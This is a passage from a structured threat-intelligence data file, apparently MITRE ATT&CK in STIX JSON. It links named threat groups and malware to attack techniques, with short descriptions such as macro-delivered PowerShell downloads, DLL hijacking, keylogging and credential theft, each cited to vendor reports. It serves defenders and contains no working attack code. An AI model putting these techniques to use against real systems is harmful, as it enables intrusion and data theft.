            "modified": "2019-04-29T18:01:20.628Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cc79d8c5-f7c9-4c8b-810d-e57d70a07d4f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) malware RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2.(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.202Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b8530dbc-8ede-4b30-b0c1-f32bf2a081eb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used ports 53, 80, 443, and 8080 for C2.(Citation: FireEye FIN7 Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.464Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--808f140e-8b7b-4efa-8708-2f2308b2fc41",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) sent shortened URL links over email to victims. The URLs linked to Word documents with malicious macros that execute PowerShells scripts to download Pupy.(Citation: Secureworks Cobalt Gypsy Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations",
                    "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.",
                    "source_name": "Secureworks Cobalt Gypsy Feb 2017"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2021-04-23T14:51:04.172Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--883762ff-5cb3-49af-87a2-6a128a1ce939",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MirageFox](https://attack.mitre.org/software/S0280) is likely loaded via DLL hijacking into a legitimate McAfee binary.(Citation: APT15 Intezer June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "APT15 Intezer June 2018",
                    "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.",
                    "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/"
                }
            ],
            "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2020-03-30T17:05:26.908Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--98c18956-03d7-49e5-93b2-44351682331d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
            "type": "relationship",
            "modified": "2020-01-31T19:01:42.161Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--70d1a246-4ff2-452d-babf-ed47bccbf1c4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used powershell.exe to download and execute scripts.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: TrendMicro Cobalt Group Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                },
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                },
                {
                    "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/",
                    "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.",
                    "source_name": "RiskIQ Cobalt Jan 2018"
                },
                {
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
                    "source_name": "TrendMicro Cobalt Group Nov 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-07-26T23:38:34.145Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--1593ae11-0bb5-4e16-804a-1383eb0cced5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e",
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                }
            ],
            "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)",
            "type": "relationship",
            "modified": "2020-10-09T16:07:59.157Z",
            "created": "2017-05-31T21:33:27.050Z"
        },
        {
            "id": "relationship--45626c7f-c401-427b-9589-c91a4b2a4f7f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has exploited the CVE-2016-0167 local vulnerability.(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "source_name": "FireEye Fin8 May 2016"
                },
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.756Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3cd8ef78-9d92-4e28-97ae-5bd6c698bfec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                }
            ],
            "description": "(Citation: Cylance Cleaver)",
            "type": "relationship",
            "modified": "2021-04-21T16:41:34.697Z",
            "created": "2017-05-31T21:33:27.032Z"
        },
        {
            "id": "relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors mapped network drives using <code>net use</code>.(Citation: Dell TG-1314)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.secureworks.com/resources/blog/living-off-the-land/",
                    "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.",
                    "source_name": "Dell TG-1314"
                }
            ],
            "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-03-25T17:01:21.292Z",
            "created": "2017-05-31T21:33:27.064Z"
        },
        {
            "id": "relationship--4807dbdc-6bcb-4aed-96f4-a782551eaefe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                },
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
            "description": "(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)",
            "type": "relationship",
            "modified": "2019-07-26T23:38:34.296Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ea7c1a9f-7d8e-4a06-8331-9901a33ee7d8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has attempted to lure users to execute a malicious dropper delivered via a spearphishing attachment.(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: FireEye APT32 April 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                },
                {
                    "source_name": "FireEye APT32 April 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html",
                    "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020."
                },
                {
                    "source_name": "Amnesty Intl. Ocean Lotus February 2021",
                    "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2021-03-01T16:51:08.768Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
            "type": "relationship",
            "modified": "2020-01-30T19:57:16.524Z",
            "created": "2017-05-31T21:33:27.027Z"
        },
        {
            "id": "relationship--978dbb17-c5c5-4248-8385-9dc6f691030b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) can download files from its C2 server to the victim's machine.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.531Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4086a9d6-5574-48fb-be8d-e8406145e740",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can gather browser usernames and passwords.(Citation: Accenture Hogfish April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-20T00:10:52.959Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--7a181608-6005-4d42-b4a2-0e2de8b8ff95",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain the victim user name.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-16T16:57:39.016Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--12daddcc-b964-485e-8c2d-10f554d78bcc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.(Citation: OilRig ISMAgent July 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "OilRig ISMAgent July 2017",
                    "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.315Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "If running as administrator, [TDTESS](https://attack.mitre.org/software/S0164) installs itself as a new service named bmwappushservice to establish persistence.(Citation: ClearSky Wilted Tulip July 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                }
            ],
            "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-30T18:18:53.547Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--b81d449d-9ebd-4fb8-a77a-bb6bca93581b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) collects screenshots of the victim machine.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-25T00:09:23.202Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--72d6fe7e-ba33-4117-8153-64226f189ed2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                }
            ],
            "description": "(Citation: Palo Alto OilRig May 2016)",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.874Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--3559da63-5706-4e5a-b130-89858c2c0f44",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can read and decrypt stored Registry values.(Citation: Nccgroup Emissary Panda May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.850Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--53ad6525-7888-4651-bd43-c010b489ccc0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RawPOS](https://attack.mitre.org/software/S0169) encodes credit card data it collected from the victim with XOR.(Citation: TrendMicro RawPOS April 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)(Citation: Visa RawPOS March 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro RawPOS April 2015",
                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.",
                    "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf"
                },
                {
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
                },
                {
                    "source_name": "Visa RawPOS March 2015",
                    "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.",
                    "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf"
                }
            ],
            "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T03:01:39.658Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--29f2ee6a-682d-4812-b7d6-ff00cabf09dc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Catchamas](https://attack.mitre.org/software/S0261) collects keystrokes from the victim\u2019s machine.(Citation: Symantec Catchamas April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.",
                    "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
                }
            ],
            "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:28:16.059Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--03c08ef9-80c7-4f20-b197-ad44f702f2e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) can execute shell commands.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trend Micro Daserf Nov 2017",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
                },
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
                }
            ],
